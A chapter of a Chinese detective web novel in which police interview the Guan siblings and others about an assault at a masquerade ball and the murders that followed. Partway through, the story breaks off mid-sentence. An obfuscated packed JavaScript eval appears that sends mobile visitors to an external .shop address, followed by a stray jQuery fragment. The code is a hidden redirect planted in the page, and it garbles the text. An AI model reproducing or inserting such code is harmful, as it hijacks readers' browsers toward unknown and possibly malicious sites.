众人表示没问题,如此特案组七人外加两个外援兵分三路。
何潮暗搓搓在咖啡馆查资料,黎厌枫和孟阳负责盯梢辛勇志,卓恒、司薇带领其他人前往关家寻找线索。
路上,小北介绍道,“关家是春城富豪圈里的后起之秀,这十一二年才起来的,之前也只是普通家庭而已。
阳明刚开始和大家有些格格不入,不太参加活动,后来看过心理医生后才慢慢好起来的,和周毅、砚秋他们也玩到了一起。”
虞晴抓住重点,“你是说关阳明看过心理医生?”
小北点点头,“对啊,一直在看,毅哥、砚秋他们都有心理医生的。
其实也不是有病,就是压力大,需要和心理医生聊聊天,倾吐一下。”
虞晴点点头,她问,“关阳明的心理医生有没有可能是辛勇志?”
“这个我就不知道了。”小北实话实说,“大家不太聊心理医生的话题,不过辛医生很有名,是他也说不定。”
虞晴试图还原事情经过,关阳明的心理医生是辛勇志,而关家通过辛勇志认识了辛雪,疑似想让辛雪嫁给关阳明,于是策划了化妆舞会让两人认识并培养感情。
不幸的是,辛雪在那场舞会上出事儿。
这一切辛勇志知不知道?知道后他会怎么做?
除了那七位直接参与欺辱辛雪的畜生,他会不会认为关阳明或者关家也有问题,对关家展开报复?
就在虞晴讲述她的推测时,卓恒将黎厌枫对关阳淼的怀疑说了,“外面都在传她是关家的接班人,关于这一点需要确认。
另外如果关家父母真的想让未来孙子接班的话,关阳淼有没有可能知道甚至纵容了舞会上辛雪的事儿?”
小北忙摇头,“不会的,淼淼姐不是那样的人!”
见大家望过来,小北解释道,“淼淼姐其实不喜欢互联网行业,她喜欢时尚业,自己注册了时尚品牌,她以后是要做自己的品牌的。对于关家产业没兴趣的。”
而事实也正是如此。就在众人以为案件要有突破性进展时,在关家别墅见到关阳淼后,又不得不划掉这个假设。
众人到的时候,关阳淼正坐在花园的欧式凉亭里,一身拖地白色亚麻长裙,长发高高盘起,左手托着调色盘,右手拿着刷子,眯眼站在画板前认真地画着油画。
油画上,一排身着白色芭蕾舞服的小姑娘们做着舞蹈中常见的三位手姿势,阳光照在姑娘们的脸上,朝气又蓬勃。
夕阳下,关阳淼微微笑着,瘦高纤细的背影就像她笔下的油画一样美好。
见到警察后,她放下画板,神情非常淡定,吩咐帮佣上茶水点心。
面对这样一个恬淡美好的女孩子,卓恒、樊朔和小北三个大老爷们纷纷低下头不知道如何询问。
虞晴和司薇对视一眼,暗叹男人靠不住,司薇轻咳一声,“关小姐,去年的新年化妆舞会您还记得吗?”
“当然。”关阳淼点点头,同时表示,第一,她并没有参加新年化装舞会,而是趁着假期为自己的时尚品牌策划了几个直播活动,亲自在后台坐镇。
第二,关阳淼和关阳明姐弟感情非常好,甚至主动帮弟弟寻找代孕,期望侄子赶紧出生,好能腾出手做自己的事儿。
许是感觉不该无端猜忌关阳淼,小北抬起头,一脸不好意思,“淼淼姐,我们不是怀疑你,就是,就是那什么,常规调查。”
噗嗤。
关阳淼点点头,“行啦,我又没怪你。”
卓恒等人轻咳一声,虞晴道,“关小姐,您昨晚在做什么?”
关阳淼说,“在家啊,我弟弟可以给我作证。当然,我也可以给我弟弟作证。”
虞晴点点头,继续问,“关先生什么时候回来?”
“晚上吧,今天砚秋酒吧有聚会,可能要十一二点才回来。”
虞晴确认道,“那间叫火的酒吧?”
关阳淼,“对,他们经常去那里聚会。”
第一场凶杀案就发生在酒吧后巷,众人对视一眼,忙起身告别,关阳淼挽留不住,只得送几人到门口。
三十分钟后,一行人再次来到火酒吧。
已经是晚上七点多,酒吧内强劲的音乐声镇得人耳朵疼。
二楼的栏杆处趴着几人,正是周毅、于砚秋等几个顶级富二代。
见到警察进来,于砚秋皱眉,鉴于小北在,又不好发脾气,便不耐烦地冲几人招手,将人迎进包间。
门一关上,嘈杂的音乐声瞬间隔绝在外,于砚秋没什么好声气地道,“我说小北,你们又来这里干嘛?”
小北挠挠头,“那个,砚秋,你能把阳明叫来吗?我们有问题想问他。”
“阳明怎么了?你们不会怀疑凶手是他吧?”
于砚秋翻个大大的白眼,“宋昊、严学涛他们死的时候,阳明可是跟我们在一块儿的,怎么可能!”
“不是,我们就是有些问题想问他,常规调查而已。”小北解释。
于砚秋不耐烦地起身,“行,我真是服了你了,做警察做个什么劲啊,找不到凶手,一点成就感都没有。
做警察那点工资不够买你脚上这双定制皮鞋吧?”
小北忙将脚往凳子下缩了缩,于砚秋翻个大大的白眼,打开门,瞬间强劲的音乐犹如劲风一般瞬间充斥了整间包厢。
司薇拍拍小北的肩,鼓励道,“别听他的,你是个好警察。”
小北挠挠头,嘿嘿嘿笑。
就在众人快将包间内的果汁喝完时,门口出现一个懒洋洋的人影。
男人看起来只二十一二岁,丹凤眼,眉尾斜斜向上飞起,给懒散的神情添加了些英气与朝气。
单看五官,跟关阳淼非常像,但两人都没有“男生女相”或者“女生男相”之感,只能说美人是不分性别的吧。
来人正是关阳明,他将门关上后,一屁股瘫坐在沙发上,懒懒看向小北,“砚秋说你找我?”
小北啊(二声)一声,又快速啊(四声)道,“对,我领导找你。”
关阳明的眼睛这才懒懒地看向卓恒和司薇,他眯起眼,打个呵欠,从兜儿里掏出一颗糖放进嘴里,而后直直看着大家。
卓恒道,“关先生,去年新年化妆舞会的事情还记得吗?”
关阳明没什么表情,“记得一些吧,你们想知道什么?”
卓恒说,“关于舞会的一切我们都想了解,例如举办舞会的原因,舞会中发生了什么,你或者你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17782767|205862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的家人是如何处理的?”
关阳明严肃脸,“就像是谣言说的那样,舞会是我爸妈特意办的,为的就是介绍我和辛雪认识。
他们认为辛雪年轻、漂亮、头脑还聪明,适合给他们生孙子,一厢情愿地办了那场舞会。”
他耸耸肩,“对此我是反对的,但是我是二代,你们知道的,没有实权,他们还是坚持办了那场舞会。
我在舞会上只呆了半个小时,和辛雪跳了一支舞后就离开了。
至于后来发生了什么,我就不知道了。”
卓恒问,“那你有没有听过舞会上的传言?”
关阳明调整坐姿,双手抱胸,脸色严肃起来,“你是指哪方面的传言?”
卓恒同样一脸严肃,“关于辛雪在舞会上被人欺负的谣言。”
关阳明冷笑,“不可能,还没人敢在我们关家的舞会上做那些事。
当然,舞会后那些畜生做了什么,我就不敢保证了。但是舞会上,不可能。”
众人点点头,见没人问心理医生的问题,小北张嘴想说话,被司薇轻轻摆手制止。
等走出酒吧,小北不解道,“司队,卓组长,你们不是觉得阳明很可能是辛勇志的帮手吗?
那怎么不问问他看心理医生的问题?”
司薇叹气,“何潮已经在查了,问不问关阳明不重要,重要的是何潮那里的调查结果。”
小北哦一声,“那要派人盯着阳明吗?”
司薇和卓恒对视一样,卓恒沉吟片刻,抬手看看手表,道,“这样,先买点东西吃。
小何那边的结果应该出来了,我问问他,如果真有关阳明,再派人盯着不迟。”
“我知道一家瓦罐汤店,味道还不错。”小北忙带路。
二十分钟后,众人一边在包间喝汤,一边听何潮那边的调查结果。
电话里,何潮道,“辛勇志的客户多是富人群体,其中就包括周家、于家和关家。
不仅这些家族的少爷、小姐们定期去看心理医生,辛勇志的心理诊所还和这三家公司合作,每年定期在公司开展心理讲座。”
卓恒问,“也就是说,辛勇志是关阳明的心理医生?”
“对,问诊名单里有。”
卓恒追问,“具体病因是什么?”
何潮说,“没写明,不过写了是儿童时期的心理创伤,需要每周去看一次心理医生。”
“每周都去?”
何潮确认,“对,每周五上午,上面写了。”
挂断电话,众人陷入沉思,到底是什么创伤,让关阳明成年后还要每周去看心理医生?
小北提议,“要不我们直接问问辛医生?”
卓恒摇头,“不行,咱们拿到这个证据的方法不能公开,直接问的话小何有危险。
这样,去问问心理诊所的前台,诊所病人多的话,可能出现等位的情况,说不定关阳明会和前台聊天。
小樊,小鱼儿,你俩留下来监视关阳明,有异常随时联系。”
二人表示没问题。
已经是晚上了,电话联系上心理诊所的前台,小姑娘听说这么多警察上门,思考片刻,将地点约在了小区旁一家24小时营业的便利店。